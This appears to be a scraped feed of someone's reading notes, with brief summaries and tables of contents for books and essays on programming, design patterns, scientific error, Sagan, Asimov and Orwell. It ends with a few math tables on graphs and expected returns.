Mozart System Development Environment
Basic Data Types
Language Syntax
General Computation Model

Concepts, Techniques, and Models of Computer Programming. Peter Van Roy; Seif Haridi. Swedish Institute of Computer Science. www.info.ucl.ac.be . Jun 5, 2003.

[ToDo] Design Patterns: Elements of Reusable Object-Oriented Software

Fri, 01 Aug 1997 00:00:00 +0000

Notes

Introduction
A Case Study: Designing a Document Editor

Design Pattern Catalog

Creational Patterns: Abstract Factory; Builder; Factory Method; Prototype; Singleton.
Structural Patterns: Adapter; Bridge; Composite; Decorator; Façade; Flyweight; Proxy.
Behavioral Patterns: Chain of Responsibility; Command; Interpreter; Iterator; Mediator; Memento; Observer; State; Strategy; Template Method; Visitor.
Conclusion

Design Patterns: Elements of Reusable Object-Oriented Software. Erich Gamma; Richard Helm; Ralph Johnson; John Vlissides. www.uml.org.cn . Aug 1, 1997.

How Dentists Rip Us Off [William Ecenbarger]

Sat, 01 Feb 1997 00:00:00 +0000

How Dentists Rip Us Off. William Ecenbarger. digitalsmiledesign.com . Feb 1, 1997.

This piece was brought up in “Is Dentistry a Science?” ( summary ). Looks like this piece has done its rounds in dentist online spaces.

Ecenbarger pitch: moving into the area; had done gum surgery; had a direct-reimbursement program to cover expenses; interested in good oral health; no desire for cosmetic improvements

A Zooming Web Browser

Tue, 05 Nov 1996 00:00:00 +0000

A Zooming Web Browser. Bederson, Benjamin B.; Hollan, James D.; Stewart, Jason; Rogers, David; Vick, David; Ring, Laura; Grose, Eric; Forsythe, Chris. Multimedia Computing and Networking, 1996. Vol. 2667. www.osti.gov . www.connectedpapers.com .

Interesting because these were the early days of the web, back when Netscape was king. The web could have evolved in different ways. Why didn’t the zooming browser catch on?

The Fine Art of Baloney Detection [Sagan]

Mon, 01 Jan 1996 00:00:00 +0000

Unfalsifiable but favorable propositions invite baloney. For example, one might want to believe in life after death, without being interested in evidence for it. However, one shouldn’t validate the pretensions of mediums on such a belief.

The LeftOvers (TV Series) explores this a bit. John pretends to be a medium, but actually has a hidden mic and earpiece to Laurie, who then searches the internet for details on the person of interest. Sure, the medium part is baloney, but it helps other characters in the show get closure.

[ToDo] Paradigms of Artificial Intelligence Programming: Case Studies in Common LISP

Wed, 01 Jan 1992 00:00:00 +0000

The Common Lisp Programming Language

Introduction to Lisp
A Simple Lisp Program
Overview of Lisp

Early AI Programs

GPS: The General Problem Solver
Eliza: Dialog with a Machine
Building Software Tools
Student: Solving Algebra Word Problems
Symbolic Mathematics: A Simplification Program

Tools and Techniques

Efficiency Issues
Low-Level Efficiency Issues
Logic Programming
Compiling Logic Programs
Object-Oriented Programming
Knowledge Representation and Reasoning

Advanced AI Programs

Symbolic Mathematics with Canonical Forms
Expert Systems
Line-Diagram Labeling by Constraint Satisfaction
Search and the Game of Othello
Introduction to Natural Language
Unification Grammars
A Grammar of English

The Rest of Lisp

[Summary] (Asimov) The Relativity of Wrong

Fri, 01 Sep 1989 00:00:00 +0000

The Relativity of Wrong. Isaac Asimov. chem.tufts.edu . Sep 1, 1989.

John, when people thought the earth was flat, they were wrong. When people thought the earth was spherical, they were wrong. But if you think that thinking the earth is spherical is just as wrong as thinking the earth is flat, then your view is wronger than both of them put together.

The New Strategy of Style [Weathers, Winston]

Sun, 01 Jan 1978 00:00:00 +0000

Toward a Theory of Medical Fallibility

Thu, 01 Jan 1976 00:00:00 +0000

Medical care is like the opposite of moving fast and breaking things. If it’s so taboo to admit error, then that could make errors more common because fewer people are learning from past errors.

Norms for Scientific Activity and the Sources of Error

“Science” is taken to mean “Natural Science”.

Internal norms derive from a cognitive pursuit of science. They are:

Focus on the central rather than the peripheral problems of the science in in question.
Craftsmanship standards in the design of experiments and hypothesis testing.
Distinguished theorizing is elegant and simple.
Searching for a theory that is closer to the truth than the currently accepted theory.

External norms govern motives for participating in and using the results of scientific activity, e.g.

[Orwell] Politics and the English Language

Mon, 01 Apr 1946 00:00:00 +0000

But an effect can become a cause, reinforcing the original cause and producing the same effect in intensified form. The language becomes ugly and inaccurate because our thoughts are foolish, but the slovenliness of our language makes it easy for us to have foolish thoughts. The point is that the process is reversible.

Standard phrases already have rhythm. They are a convenient shortcut for lazy communicators.

Pretentious diction to make the banal appear profound, the biased seem scientifically impartial and sordid events masquerade as dignified.

Search

Mon, 01 Jan 0001 00:00:00 +0000

Graphs, \(G = (V, E) \)	\(N \times N \) Adjacency Matrix	\(N \times L \) Incidence Matrix
	\(A = \begin{bmatrix}0 & 1 & 0 & 0 \\ 0 & 0 & 1 & 0 \\ 1 & 0 & 0 & 0 \\ 0 & 0 & 0 & 1\end{bmatrix} \)	\(\hat{A} = \begin{bmatrix}1 & 0 & -1 & 0 \\ -1 & 1 & 0 & 0 \\ 0 & -1 & 1 & -1 \\ 0 & 0 & 0 & 1\end{bmatrix} \)
\( V \) = set of \( N \) nodes \( E \) = set of \( L \) links	\( A_{ij} = 1 \) iff \( (i, j) \in E \) Note that \(A\) need not be symmetric for directed graphs.	For a directed graph, \( A_{ij} \) is \(1\) if \( i \) starts at \( j \); \(-1\) if \(i\) ends at \(j\), and \(0\) otherwise. For an undirected graph, \(A_{ij}\) is \(1\) if \(i\) on \(j\), and \(0\) otherwise.

	\(f_1\)	\(f_2\)	\(f_3\)	\(f_4\)	\(f_5\)
d	0	1	1	0	1
q	0	0	1	1	1

Business Conditions	Possibility of Occurrence	Expected Return (R)
“Normal” economic conditions	\(\frac{1}{3}\)	10%
Rapid real growth without inflation	\(\frac{1}{3}\)	30%
Recession with inflation (stagflation)	\(\frac{1}{3}\)	–10%

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